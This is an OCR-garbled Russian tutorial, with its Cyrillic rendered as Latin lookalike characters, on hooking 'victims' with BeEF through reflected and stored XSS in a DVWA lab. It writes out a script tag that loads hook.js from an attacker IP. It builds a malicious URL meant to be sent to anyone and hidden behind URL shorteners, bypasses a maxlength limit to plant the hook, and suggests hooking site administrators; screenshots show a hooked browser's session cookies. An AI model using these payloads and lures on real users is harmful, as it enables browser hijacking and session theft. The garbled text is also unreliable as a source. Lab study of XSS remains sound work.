00bIYHbIN N AOBEPEHHbIN. B gaHHOM cUTyaunun, 1 pekomeHAayto bbITb
OCTOPOXHbIM NPU Nepexoae Mo CCbi/IKam, N NONYYEHUA KaKUX-TMbo
HepeKomeHayembix Gopmax (BCN/bIBatoLME OKHA).

Ecnu Bbl ckaunBaeTe YTO-TO, TO NOCTapanTecb 06paTUTb BHMMaHME Ha TO, YTOObI
6b1ln odnumanbHbii caiiT, U HTTPS. Bcerga ceepaiiTe KOHTPO/IbHbIE CyMMbl COTa,
yTO6bI M36EXKaTb BO3MOMKHOCTb NOANOra.

Ecnaun Bbl nonyunnmn penkosoe yBegomneHne 0 BBOAE I0TMHA M Napoaa (Ha
npumepe Facebook), To urHopupyiite ero.

9.0 JloBum xepTtB ¢ nomoubio BeEF Framework, ncnonb3ys yassmmocrtb
Reflected XSS.

Mbi ¢ Bamu npoLwwnm 40CTaTOYHO A/IMHHbBIN NYTb, HA NYTU U3y4YeHUA Pa3HbIX TUMOB
yasBumocTun XSS. 31o Reflected, Stored 1 DOM Based XSS, Ha pa3HbiX YPOBHSAX
6e3onacHocTn. MHOro MHGOpPMaUUM Y3HANAN Ha NPOTAKEHUM BCEX YPOKOB. Mbl
ymeem 06xoAuMTb 3aLLNTY, @ TaKXKe peaaKTMPOBaTb Nani0aabl TakKum 06pa3om,




4yTO06bI OHM paboTanm B Pas3IMYHbIX cUTyauuax. Ha camom gene Bapuaumin o4eHb
MHOTO, U 1 NOKa3a /IMLb CaMy MEXaHWUKY NpoLecca, C HEKOTOPbIMMU
NPaKTUYECKMMU NPUMEPAMMU.

CyTb B TOM, YTO Mbl HE BUAE/IN U HE 3HAaeM, KaK UCNONb30BaTb 3TN YA3BMMOCTM.
Hawa geATenbHOCTb 3aKAt04anach B TOM, YTO Mbl 3anyckanun ¢yHKuuto alert(), ¢
Kakum nmbo coobuieHnem. B obuem, mbl 6yaem B3nambiBaTb MALLMHbI
nonb30BaTesiel, KOTOPble NOCELLAtOT YA3BMMbIE CTPAHMLUbI. A peannsaumm sTmux
naen, mbl byaem ncnonb3oBatb BeEF Framework. Beff no3sonaert 3anyckatb
OrPOMHOE KO/INYEeCTBO KOMAHJ, B MOPaXKeHHbIx bpay3epax. A KOHHeEKTa
6pay3epa c BeEF, Hy*KHO 3anycTuTb KoA JavaScript HenocpeacTBeHHO B bpay3sepe.
Kak Bbl y»e goraganucb, BeEF ncnonbsyet kog, JavaScript, a 3To 3Ha4YUT, YTO Mbl
MOKEM NCNOJIb30BaTb YA3BMMOCTb XSS, Npu OTKPbITUM NO/Ib30BaTE/IEM 3TOM
YA3BMMOW CTPaHULLbI.

MNepexoanm K paccmoTtpeHuto Beef. Mbl HacTpoem 1 noimaem Kakyr-nmbo
KepTsy.

PaccmaTtpusatb 6ygem B Kali Linux. Mpwu 3anycke B nepBblIi pas, cuctema NnonpocuT
Bac n3a3meHuTb I0rMH 1 Naposab, AnA Bxoaa B BeEF. OH HaxoauTca B pane no
appecy: «/etc/beef-xss/config.yaml», n Hy»>kHO oTpeaaKTMpoBaTb NoaA
«credentials»:

root@timcore: ~ (- IO <]
®aitn [Npaska Bup Mowck Tepuunan Cnpaska i ™
GNU nano 3.2 /etc/beef-xss/config.yaml
Gl ~0l A (A ~] [~ C -U
- A ~\ ~Ul A I~ _E

Kak TonbKo Bbl OTpeaaKkTUpyeTe N0rMH M Napo/ib, MOXHO CMOKOMHO 3amnyCKaTb
dbpernmMBOpPK «No-AedonTy», TaK Kak B KOHPUrax eLle Kyya HacTpoeK.

Mocne 3anycKka BeEF, y Hac aBTomaTU4YeCKU OTKpbIBaeTca 6paysep, rae Hy»KHo
BBECTWU IOTVMH M NAPO/Ib:



BeEF Authentication - Mozilla Firefox [— O]

BeEF Authentication x | +

Q, search N e

Aircrack-ng Kali Forums

c o (@ 127.0.0.1:3000/uif/authentication e @ T
£+ Most Visited il Offensive Security ", Kali Linux '% KaliDocs ‘% Kali Tools = Exploit-DB

—eEF

Authentication
Username: timcore
Password: sssssns

| Login |

»

Hmem KHoMKy «Loginy, n nepexoaMm B OCHOBHOE MEHI0:




BeEF Control Panel - Mozilla Firefox e ® O

BeEF Control Panel x | +

(&)= ¢ @ ® 127.0.0.1:3000/ui/panel B | - @ ¥  Q Search N @
4% Most Visited §ll Offensive Security S Kali Linux “ KaliDocs % Kali Tools % Exploit-DB Aircrack-ng Kali Forums »

% BeEF 04.7.1-aipha | Submit Bug | Logout

Hooked Browsers Getting Started %l Logs Zombies
[ Online Browsers

[:l Offline Browsers

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: bitp://beefproject.comd

Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you will have to "hook’ a browser. To begin with you can
peint a browser towards the basic demo page here, or the advanced version here.

If you want to hook AMY page (for debugging reasons of course), drag the following bookmarklet link
inte your browser’s bookmark bar, then simply click the shortcut on ancther page: Hook Me!

After a browser is hooked into the framework they will appear in the "Hooked Browsers' panel on the
left. Hooked browsers will appear in either an online or offline state, depending on how recenthy they
have pelled the framework.

Hooked Browsers

To interact with a hooked browser simply left-click it, a new tab wil appear. Each hooked browser tab
has a number of sub-tahs, described below:

Details: Display infermation about the hooked browser after you've run some command modules.

Logs: Displays recent log entries related to this particular hooked browser.

Basic Requester Commands: This tab is where modules can be executed aoainst the hooked browser, This is

Ob6paTnte BHUMaAHWE HA /IEBbIV BEPXHUI YIrON, rae pacnosioxKeHbl nankm «Online
Browsers». B HMx byaeT pacnonaratbCsi CNMCOK Bcex bpay3epos, KOTOpble NoMMan
BeEF:

>



BeEF Control Panel

&«

C o

X

BeEF Control Panel - Mozilla Firefox [— O]
+

@ 127.0.0.1:3000/ui/panel B | - @ || Q Search N D

£+ Most Visited [l Offensive Security % KaliLinux “ KaliDocs % KaliTools % Exploit-DB Aircrack-ng Kali Forums

[Z] Online Browsers
[ Offiine Browsers

Basic

Requester

"é BeEF 0.4.7.l-alpha | Submit Bug | Logout

Getting Started %/l Logs Zombies

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PRAOJECT

Official website: bttp:/beefproiect.com/

Getting Started
‘Welcome to BeEF!

Before being able to fully explore the framework you will have to "hook’ a browser. To begin with you can
point a browser towards the basic demo page here, or the advanced version here.

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link
into your browser's bookmark bar, then simply click the shortcut on another page: Hook Me!

After a browser is hocked into the framework they will appear in the "Hooked Browsers® panel on the
left. Hooked browsers will appear in either an online or offline state, depending on how recently they
have polied the framework.

Hooked Browsers

To interact with a hooked browser simply left-click it, a new tab will appear. Each hooked browser tab
has a number of sub-tabs, described below:

Details: Display information about the hooked browser after you've run some command modules.
Logs: Displays recent log entries related to this particular hooked browser.
Commands: This tab is where modules can be executed apainst the hooked browser. This is

»

>

KaK ToNbKO Mbl MOMMaeM KepTay, T.e. ee bpay3ep, TO CNpaBa B OKHE Mbl CMOMKEM
3anyckaTb KOMaHAabl. 158 NOMMKM NONb30BaTENA, CYLLECTBYET HECKO/IbKO

cnocob0oB, HO HaC MHTepecyeT MeToA C ucrnosb3oBaHnem XSS. Kog, KOoTopblii Ham

HYKEH, y*Ke eCTb Npu CTapToBOM 3arpy3ke BeEF. 310 Kog JavaScript, cxoxuni ¢
npeablaywmmmn npumepamm, U3 NpoLUbiX YPOKOB:




root@timcore: ~ e ® 0

dain [pasxka Bugo [Mowck Tepmuban Cnpaska

Please wait for

BctaBum ero B Leafpad, ans ganbHenwen mogudpukaumnm:

root@timcore: ~

®aitn lpaBka Bug MMouck TepmuHan Cnpaska

BeE"

*(bes umenn)

®aiin MNpaska [lMouck [MapameTpbl Cnpaska
<script src="http://<IP>:3000/hook.js"></script>|

Kak Bbl yxKe goraganncb, MoampuumnpoBaTb HAM HYXXHO He 0C060 MHOT0. 3TO
KacaeTca ip-agpeca. HyXXHO NpoCTO BCTaBUTb CBOM ip-aApec MaLUMHbI.
YT106bI Y3HATbL €ro, HyXXHO BBECTU KoMaHay «ifconfig» B TepmuHane:



root@timcore: ~ [— O ]

®aitn lNpaska Bua Mowck TepmuHan Cnpaska
: ] ig
BROADCA!

, LOOPBACK, RL
.0.1 netma

Y meHA 310 «10.0.2.5». BctaBum 3TOT agpec B CKPUNT, U KOA, rOTOB K 3aMyCKYy.
Ham HyXHO Tenepb OTKPbITb KaKyto-1Mb0 yA3BMMYIO CTPAHULY, KOTOPYHO Mbl
MCNoab30BaNKn paHee. A umeto BBMAY, Y3BMMOe Beb-npunoxeHne « DVWAY.,
Cpasy M3meHuMm ypoBeHb 6e30MaCHOCTU, HA HU3KUIA:

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox [ <]
BeEF Control Panel x Damn Vulnerable Web 2 % | 4
&« c & @ 10.0.2.7/dvwa/security.php B |- @ % Search N @O =
£+ Most Visited [l Offensive Security ", KaliLinux “ Kali Docs S Kali Tools = Exploit-DB W Aircrack-ng gl Kali Forums % NetHunter “ Kali Training »

Home DVWA Security
Instructions
Setup | Script Security

Security Level is currently low. I

Brute Force

You can sef the security level to low, medium or high.
Command Execution

The security level changes the vulnerability level of DVWA.
CSRF
File Inclusion low ~ Submit
SQL Injection
SQL Injection (Blind) PHPIDS
Upload

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

XSS reflected

You can enable PHPIDS across this site for the duration of your session
XSS stored

PHPIDS is currently disabled. | 1

ovwasecurty I 11 ]
PHP Info

About
Security level set to low
Logout

Username: admin
Security Level: low
PHPIDS: disabled




OTkpoem cTpaHuuy «XSS reflected». BcnomHWUTE, YTO CyTb 3TOM CTPAHULbI
CBOAMTCA K BbINOJIHEHUIO KOAA M BbIBOAY UMEHMN, KOTOPOE Mbl BBE/IX B Noje ANA
BBOAA:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox Q0 O

BeEF Control Panel X

Damn Vulnerable Web A X | +

&« (G @ 10.0.2.7/dvwa/vulnerabilities/xss_r/?name=Timcore# oo @ 1% || Q Search I o =
£+ Most Visited [l Offensive Security ' Kali Linux ' KaliDocs S KaliTools % Exploit-DB W Aircrack-ng g Kali Forums e NetHunter “ Kali Training »

A

r— Vulnerability: Reflected Cross Site Scripting (XSS)

M What's your name?

Brute Force |

Command Execution Hello Timcore

CSRF

File Inclusi £
[Fileineiusion | \ore info

SQL Injection

SQL Injection (Blind)

Upload

XSS stored

DVWA Security
PHP Info
About

Logout
Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled

Submit

B URL, Ha 3TOM CTpaHMLUE Mbl MOXeM A006aBUTb «CKPUNTUKY, C dyHKUMeN alert():

*(Bez umeHwu)

dainn MNpaska [lNowck MapameTpsl Crpaska
<script src="http://10.0.2.5:3000/hook.js"></script>

<script>alert("Reflected XSS")</script=>

http://10.0.2.7/dvwa/vulnerabilities/xss r/?name=<script>alert("Reflected XS5")</script>#

N ecnn mbl ero 3anyCcTtmnm, To NoJay4mm BbiBOA BCMJ/1bIBAOWENO OKHA:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XS5) - Mozilla Firefox

BeEF Control Panel X |- Damn Vulnerable Web 2 % | +

I o =

@ = X @ ‘ @® 10.0.2.7/dvwajvulnerabilities/xss_r/Zname=<script>alert("Reflected XSS e ﬁ| | Q_ search

£+ Most Visited [l Offensive Security “& KaliLinux % Kali Docs "% Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums & NetHunter % Kali Training

Reflected XSS

Read10.0.2.7

Haw kntoyeBon URL ByaeT cxok ¢ npeablayLinm, 33 UCKAOYEHMEM 3aMeHbl
CKpMNTOB:

*(Be3 uMeHH)

®ain Mpaska Mowck MapameTpel Crnpabka
<script src="http://10.0.2.5:3000/hook. js"></script>

<script>alert("Reflected XS5")</script>
http://10.0.2.7/dvwa/vulnerabilities/xss_r/7name=<script>alert("Reflected XSS")</script>#

http://10.0.2.7/dvwa/vulnerabilities/xss r/?name=<script src="http://10.0.2.5:3000/hook.js"></script>§ I

Haw URL roTtoB, 1 Mbl MOXXeM OTNPaBUTb ero Atobomy yenoseky. Mocne oTKPbITUA
3TOM CCbINKN y cebA B Bpay3epe, BeEF cKOHHEKTUTCA € NONb30BaTE/IEM, YTO AACT
Ham cBoboay AeNCcTBUIM, NP BbINONHEHUN MHOTUX KOMaHA. PasymeeTca, mano
KTO OTKPOET TaKyto CCbI/IKY, MO3TOMY Mbl MOXeM BOCM0/1b30BaTbCA CEpPBMCaAMM
ON17 COKpaALLEHUA CCbIJIOK.

[laBante ynpoctum 3agady gnaa npumepa, U 1 OTKPOHO 3Ty CCbIJIKY B CBOEM
6pay3epe, YTO AenaTb HE PEKOMEHAYETCA, HO TEM HE MEHEE:



Damn Vulnerable Web App (DVWA)v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox 0 0 .

BeEF Control Panel X Damn Vulnerable Web /. % | +
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Home

Instructions

Setup

Brute Force

Command Execution
CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload
XSS reflected |
T

DVWA Security
PHP Info
About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?
Submit

Hello

More info

View Source | View Help

— =

N ecnn mbl nepengem Ha BKNagKky BeEF, To yBuaum, 4to y Hac ectb 6pay3ep B
nanke «Online Browsers»:
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Getting Started % Logs Zombies

4 {5 Online Browsers
45910027
@8 & ?wozs
[_] Offine Browsers

THE BRADWSER EXBLOITATION FRAMEWORK PROJECT

Official website: hitp://beefproject.comd

Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you will have to "hook” a browser. To begin with you can
point a browser towards the basic demo page here, or the advanced version here

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link
into your browser's bookmark bar, then simply click the shortcut on another page: Hook Me!

After a browser is hooked into the framework they will appear in the Hooked Browsers' panel on the
left. Hooked browsers will appear in either an online or offine state, depending on how recently they
have polled the framework.

Hooked Browsers

To interact with a hooked browser simply left-click it, a new tab will appear. Each hooked browser tab
has a number of sub-tabs, described below:

Details: Display information about the hooked browser after you've run some command modules.
Logs: Displays recent log entries related to this particular hooked browser

Commands: This tab is where modules can be executed against the hooked browser. This is
where most of the BeEF functionality resides. Most command modules consist of Javascript code
that is executed against the selected Hooked Browser. Command modules are able to perform any
actions that can be achieved through Javascript: for example they may gather information about the
Hooked Browser, manipulate the DOM or perform other activilies such as exploiting vulnerabilties
within the lecal network of the Hooked Browser.

Each command module has a traffic light icon, which is used to indicate the following
The command module works against the target and should be invisible to the user
The command module works against the target, but may be visible to the user
The command module is yet to be verified against this target

@ The command module does not work against this target
Basic Reauester

Bbl MOXKeTe KNMKHYTb N0 3TOMy H6pay3epy 1 HayaTb 3anyCcKaTb KOMaHApbl.
[lymato, MexaHW3M NOHATEH.

10.0 /loBum xepTtB ¢ nomowbio BeEF Framework, ncnono3sysa yassmmoctb Stored
XSS.

Mpoponkaem paccmaTtpmaTtb BeEF Framework, Ha npumepe Stored XSS, koTopas
ropa3go onacHee Reflected XSS. CyTb B TOM, 4TO HE HYXHO OCYLLECTBAATb
OTNpaBKy Kakon-nnbo ccbiiku. BcnomHuTe, Korga s paccmatpusan Reflected XSS.
[ns Tex, KTo 3a6biN, Mbl eNaem MHBEKLUMIO B BED-CTPAHULLY C MCMOTHAEMbIM
KOAOM, U KaxKabl NOb30BaTe/lb, KOTOPbIM NEPENAEeT Ha Hee, 3anyCTUT Hall KOA.
Bce npocTo.

Ecnun paccmatpmsaTtb NogpobHO 3TOT TUN YA3BUMOCTU, TO HECOMHEHHbIM NIHOCOM
oTMeuy To, 4To B ccbinike URL, He byaeT nogo3putenbHOro Koaa.

B utore, Bbl gaxke moxkeTte oTnpasuTtb 3T0T URL ntobomy nonb3oBaTento, U OH He
3aMeTUT HMUYero CTPaHHOoro.

KoBapHOCTb 3TOM YA3BMMOCTU COCTOUT eLe U B TOM, 4To, eciin Bbl HangeTe Stored
XSS Ha foBepeHHOM M NONy/AsPHOM caliTe, To Ntoau 6yayT nocewaTtb ero, He
3alyMblIBanACh.



Mepengem K NpakTUKe, U cAelaeM UHBEKLUIO eLle pas.
MNepengem Ha cTpaHuuy «XSS stored» B ysazsumom Beb-npunoxeHnn «DVWA», n
BBeAeM UMA «Timcore» , a TaKKe BHEeAPMM Hall SKCMJIONT, KOTOPbIMA Mbl
ncnonb3zosanu npu Reflected XSS. OH 6yaeT BbIrnaaeTb, Kak: «<script
src="http://10.0.2.5:3000/hook.js"></script>»:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox [- IO - ]
BeEF Control Panel X Damn Vulnerable Web 2 X | +
&« & @ @ 10.0.2.7/dvwa/vulnerabilities/xss_s/ B 9% Search In @O =
£+ Most Visited [ Offensive Security S KaliLinux "%, KaliDocs ' Kali Tools % Exploit-DB Wy Aircrack-ng gl Kali Forums ", NetHunter ‘%, Kali Training »

|

Vulnerability: Stored Cross Site Scripting (XSS)

Home

Instructions
Setup

Brute Force
Command Execution
CSRF

File Inclusion

SQL Injection

SQL Injection (Blind) |

Name *

Message *

Timcore

I <script sre="http://10.0.2.7:3000/hook js"></scrip I

| sign Guestbook

Name: test
A

Upload

XSS reflected |

ge: This is a test comment

Mame: alert("Stored XSS")
A

ge: test

EXr
DVWA Security

PHP Info |

Name:
Message: test

MName:
[ ge: test

About
Logout

Username: admin
Security Level: low

BLEIDS: Cisabiey

More info

View Source | View Help

KaK BUAUM, y HacC cywecTByeT OrpaHUYeHne Ha KOIMYeCTBO BBOAMMbIX CUMBOJIOB.

JTO nerko O60ﬁTVI, C NOMOLW,bKO MHCMNEKTOPA 3/1EMEHTOB.

*mem npaBoit KHOMKOM MblK NO BbIBpaHHOMY NoAto, U B Tere «textarea»
pegakTupyem napametp «maxlength», gonyctum Ha 500 cumBonos:


http://10.0.2.5:3000/hook.js
http://10.0.2.5:3000/hook.js
http://10.0.2.5:3000/hook.js

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox 00

BeEF Control Panel X | [® Damn Vulnerable Web . X | 4

&« ¢ @ @ 10.0.2.7/dvwajvulnerabilities/xss_s/ B | » @ || Q Search N O =
£} Most Visited [JJ] Offensive Security S KaliLinux "%, KaliDocs "%, Kali Tools % Exploit-DB Wy Aircrack-ng gl Kali Forums ‘&, NetHunter W, Kali Training »

e Vulnerability: Stored Cross Site Scripting (XSS)
Instructions
Selup Name * Timcore

<script src="http://10.0.2.7:3000/hook js"></scrip

Brute Force Message *
Command Execution
CSRF [ sign Guestbook |
File Inclusion

SQL Injection

SQL Injection (Blind) | Name: test
I

ge: This is a test comment
Upload

Name: alert("Stored XS5")

B | A ge: test
& {3 Inspector Console (O Debugger {1} StyleEditer (@ Performance £k Memory = Network & Storage -5 B @O E X
+ Search HTML #¢ Rules  Computed
<tr= B . Fi —+ FI?:E .cls

<td width="100">Message *</td>

~

element { inline
} [

<textarea name="mtxMessage" col r X '500"></textarea>
< input, main.css:32
</tr> textarea, select
<tr>(=</tr> {
font: b 100%
€ v divimain_ div.body_padded > div.vulnerable_ area » form » table » tbody » tr > td > textarea > arial,sans- .

Terlepb Mbl MOXeM BCTaBUTb Hall CKPUNT LETUKOM!

Damn Vulnerable Web App (DVWA)v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XS5) - Mozilla Firefox 0 0

BeEF Control Panel X ‘ [®] Damn Vulnerable Web A X | +

&« A& o @ 10.0.2.7/dvwa/vulnerabilities/xss_s/ B | = @ v  Q Search m e =
£+ Most Visited [Jl] Offensive Security % KaliLinux S Kali Docs ", KaliTools = Exploit-DB W Aircrack-ng g Kali Forums S NetHunter "% Kali Training »

a

R Vulnerability: Stored Cross Site Scripting (XSS)
Instructions
Setup Mame * Timcore

I <script src="http://10.0.2.7:3000/hook js"></script=| I

Brute Force Message *
‘Command Execution
CSRF | sign Guestbook
File Inclusion
SQL Injection
SQL Injection (Blind) Name: test
Message: This is a test comment
Upload
Name: alert("Stored XS5")
[xssveested ] yecsage:test

Name: -
@ L3 Inspector Console [ Debugger {} StyleEditor (G Performance {k Memory = Network & Storage - F] H 80 B8 X
+ Search HTML & Rules  Computed
<tr= ~ E +
i =" " *
<td width="100">Message *</td> element { inline A
<td=>
<textarea name="mtxMessage" cols="50" rows="3" maxlength="580"></textarea> 4 I
</td= input, main.css:32
</trs textarea, select
<trsl</tr> {

¥ font: b 100%
e_area » form » table » tbody » tr » td » textarea > arial,sans-

< er > divitmain_b div.body_padded > div.vulnerable_c




mem KHonky «Sign Guestbook», n Bce rotoso. Haw URL roTtoB K
MCMNONIb30BAHUIO, U OH BbIMAAUT KaK:
«http://10.0.2.7/dvwa/vulnerabilities/xss_s/».

Kak TonbKo nonb3osatenb nepenaeT no 3ToM CCbl/ike, Npomnsonaer
aBTOMaTU4YeCKniM KOHHeKT ¢ BeEF Framework. Bbl Takke moxeTe NpocTo X AaaTb,
Korga »KepTBa NepenaeT Ha 3Ty CTpaHuuy Beb-canTa.

KakK A y»Ke roBopun, ecnun caiuT nonynspHbIi, To Atogm 6yayT 3aXo4nTb, U
CMOKOMHO NepexoanTb No CTPaHULAM, HUYEro He Noao3peBsas.

Ewe ogHa nAtoWwKa, KOTOpas 3aK/o4YaeTca B TOM, YTO aAMMHUCTPATOP CailTa ToXe
BpemA OT BpemMeHM noceLlaeT TOT UK MHOM CalT (aAMUH UM aAMUHbI). Bbl TakxKe
MOMKeTe COeIMHUTLCA C HUM, U B3/1IOMaTb, YTO MOXKET NPUBECTU K NOSYYEHUIO
NOJIHOrO AOCTYNa K CEpBEpPY MM calTy, Yyepes XSS.

Mepegem K NpakTUKe, 1 A nepenay Ha mawnHy Windows 7 Home, Kak 06bIUYHbIM
nonb3oBaTesnb. B 6pay3epe, nepexoanm Ha Beb-canT «DVWAY, BbICTaBUB
HaCTPOMKM Be3onacHoCTH, Ha «low»:


http://10.0.2.7/dvwa/vulnerabilities/xss_s/

| ®ain Mawwna Bwg Beop YcrpoWcrea Cnpaeka

@ Damn Yulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Windows Internet Explorer

e e

@ Damn Vulnerable Web App (DVWA) v1.0.7 3 DVW... |

@ O - |@, http://10.0.2.7/dvwa/security.php "| b |*"f | X | |}’3 Eing

f‘? WzBpantoe | {5 £ | Pexomergyemeble yanel * @ | Konnekuwa seb-gparm...

P ~|

| 'ﬁ - * [ @; v Crpanmuya * BesonacHocte ¥  Cepewc v @v

Setup

Brute Force

Command Execution

CSRF

File Inclusion

Script Security

Security Level is currently low.

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

low E Submit

5QL Injection

5QL Injection (Blind)

Upload

X55 reflected

X55 stored

PHP Info

About

PHPIDS

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based we

You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. | ]
[ 1-1 ]

Securitv level sat to low
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1 |
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Mepexoanm Ha cTpaHuLy «XSS stored»:



dain MawwuHa Bug Beoa YcTponctea CnpaBka

'€ Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (¥55) - Windows Internet Explorer @@
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Vulnerability: Stored Cross Site ScriptinE

Home ‘

Instructions |
Mame *
Setup |

Message *
Brute Force

Command Execution

CSRF

Sign Guestbook

5QL Injection Mame: test

Message: This is a test comment.

S5QL Injection (Blind)

File Inclusion |

Upload Name: alert{"Stored X55") =
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MOXHO Aa*Ke He KAUKaTb N0 KaKMM-1nmbo nonsm n KHonkam. bpaysep gonxeH
6bITb NpuBA3aH K BeEF Framework. Ha cTpaHuue HMYero nogo3puTenibHOro He
npoucxoauT. HeT BCN/ibIBatOLWLMX OKOH, U T. 4.

Koraa mbl nepengem B mawuHy Ha Kali Linux, To yBuaAMM HOBbIM NOSABUBLLNIACA
6paysep:



BeEF Control Panel - Mozilla Firefox (I > ]

BeEF Control Panel X | [@ Damn Vulnerable Web 2 X ‘ +
(€)= C @ ® 127.0.0.1:3000/ui/panel B |- ¥r| | Q Search I @ =
£ Most Visited Offensive Security &, Kali Linux S, Kali Docs "% Kali Tools ® Exploit-DB Wy Aircrack-ng gl Kali Forums “ NetHunter ", Kali Training »
# Becr 047 1-apha | Submit Bug | Logout
Hooked Browsers Getting Started x| Logs Zombies
4 3 Online Browsers —________———
~
45310027 . . .
Details: Display information about the hooked browser after you've run some command modules
Logs: Displays recent log entries related to this particular hooked browser.
Commands: This tab is where modules can be execuled against the hooked browser. This is
where most of the BeEF functionality resides. Most command modules consist of Javascript code
that is executed against the selected Hooked Browser. Command modules are able to perform any
actions that can be achieved through Javascript: for example they may gather infermation about the
Hooked Browser, manipulate the DOM or perform other activities such as exploiting vulnerabilities
within the local network of the Hooked Browser.
Each command module has a traffic light icon, which is used to indicate the following:
' The command module works against the target and should be invisible to the user
& The command module works against the target, but may be visible to the user
The command module is yet to be verified against this target
@ The command module does not work against this target
XssRays: The XssRays tab allows the user to check if links, ferms and URI path of the page
(where the browser is hooked) is vulnerable to XSS.
Proxy: The Proxy tab allows you to submit arbitrary HTTP requests on behalf of the hooked
browser. Each request sent by the Proxy is recorded in the History panel. Click a history item to
view the HTTP headers and HTML source of the HTTP response.
Network: The Network tab allows you to interact with hosts on the local network(s) of the hooked
browser.
IPEC: Send commands to the victims systems using Inter- Protocol Exploitation/Communic ation
(IPEC)
WebRTC: Send commands to the victims systems via a zombie specified as the primary WebRTC
caller.
‘You can also right-click a hooked browser to open a context-menu with additional functionality:
Tunneling Proxy: The Proxy allows you to use a hooked browser as a proxy. Simply right-click a
browser from the Hooked Browsers tree to the left and select "Use as Proxy”. The proxy runs on
localhost port 6789 by default. Each request sent through the Proxy is recorded in the History panel
in the Proxy tab. Click a history item to view the HTTP response headers and response body.
XssRays: XssRays allows the user to check if links, forms and URI path of the page (where the
browser is hooked) is vulnerable to X58. To customize default settings of an XssRays scan, please
use the XssRays tab.
Learn More
To learn more about how BeEF works please review the wiki:
Architecture of the BeEF System: https //github.
Tunneling Proxy: hitps .//github.com/beefprojec t’beefiwikiTunneling- Prox
XssRays hitps: It ikiXssRan
Network Discovery: hitps Wgithub. i iki/Network-Discovery
Basie ]| Requester Wiriting vour own modules: hitps figithub. i/C nd-Module- AP v
MoxeM KNMKHYTb No aTomy bpay3epy:
.
BeEF Control Panel - Mozilla Firefox e e O
BeEF Control Panel X | ] Damn Vulnerable Web /. X ‘ +
(¢)=> C @ @ 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1IY 0eu0gqSzOiVC 8O G | - 7| | Q Search N e =
£+ Most Visited [JJl] Offensive Security " KaliLinux % KaliDocs % KaliTools = Exploit-DB Wy Aircrack-ng gl Kali Forums “& NetHunter “&, Kali Training »
# Becr 04 7.1-alpha | Submit Bug | Logout
Hooked Browsers Getting Started /| Logs Zombies Current Browser
4 =5 Online Browsers
45910027 Details Logs Commands Proxy XssRays Network
@ 0@ ? wo2s Key = Value
& MW= 7 w024 browser.capabilities. activex Yes &
[ Offine Browsers browser.capabilities flash No
browser.c apabilities .googlegears No
browser.c apabilities phonegap No
browser.capabilities.quicktime No
browser.capabilities realplayer No
browser.capabilities . silverlight No
browser.capabilities vbseript Yes
browser.capabilities vic No
browser capabiliies webg No
browser.capabilities webrtc No
browser.capabilities websocket No
browser.capabilities webworker No
browser.capabilities wmp Yes
browser.date datestamp Sun Jun 2 12:59:50 UTC+0400 2019
browser.engine Trident
browser.language 1]
browser.name IE
browser.name. friendhy Internet Explorer
browser.name. reported Mozila/4.0 (compatible; MSIE 8.0; Windows NT 6.1, WOW84; Trident/4.0; SLCC2; NET CLR 2.0.50727; .NET CLR
3.5.30729; NET CLR 3.0.30729; Media Center PC 6.0)
browser platform Win32
browserversion 8
browser.window.cockies security=low; PHPSESSID=e912ebb. 5i6el7d0214;
BEEFHOOK=1LBIFgDOVkoV1IYDeulgqSz OWCBfidswT D2IRIZA Xwil gxvuxiCy Tey Cv XHAads TPIOxKsNF4bEVE
browserwindow.hostname 10027
browser.window. hostport 80
hrows ar window orinin Linknoun >

Basic || Reguester [4 4 |page 1jafz| b Pl | & Displaying zombie browser detais 1 - 50 of 50




OueHb MHOro MHGOPMaLIMKM, Mbl MOXKEM Y3HaTb U3 3TOrO BbIBOAA. TaKkKe MOXKEM
MCNO/1Ib30BaTb MHOXECTBO KOMaHA, ANA MaHUNYyNALMK, HO 06 3TOM B cheayrowmx
YPOKax.

11.0 BeEF Framework — Pabotaem c noiimaHHbIMMU XKepTBamm.

[nAa Hawero sKcnepMmeHTa, Mbl MOMMA/IN KEPTB, U TeNepb HAaM HYXKHO paboTaTb
¢ Humu B BeEF Framework. [1ns 3TOro cywectsyeT npasoe nose.

Hy»XHO KAWKHYTb NO ip-aApecy, MHTepecyoLLero Hac bpaysepa, 1 nepenTn B
npaBoe OKHO:

BeEF Control Panel - Mozilla Firefox e e O
BeFF Control Panel x |+
& c @ ® 127.0.0.1:3000/ui/panel##id=1L8IFgDOVkoV1IY0eu0gqSzOiVCBf [SIII - B+ Search N @ =
£3 Most Visited Jf| Offensive Security %, Kali Linux "% KaliDocs ", KaliTools = Exploit-DB Wy Aircrack-ng gl Kali Forums " MetHunter ‘%, Kali Training »

Hooked Browsers

(2] Cniine Browsers
4 (7 Offline Browsers

45310027
@ 0N B 700

Basic

Requester

Getting Started

Key «
browser.capabilities . activex
browser.capabilities flash
browser.capabilities googlegears
browser.capabilities phonegap
browser.capabilities .quicktime
browser.capabiliies realplayer
browser.capabilities silverlight
browser.capabilities . vbscript
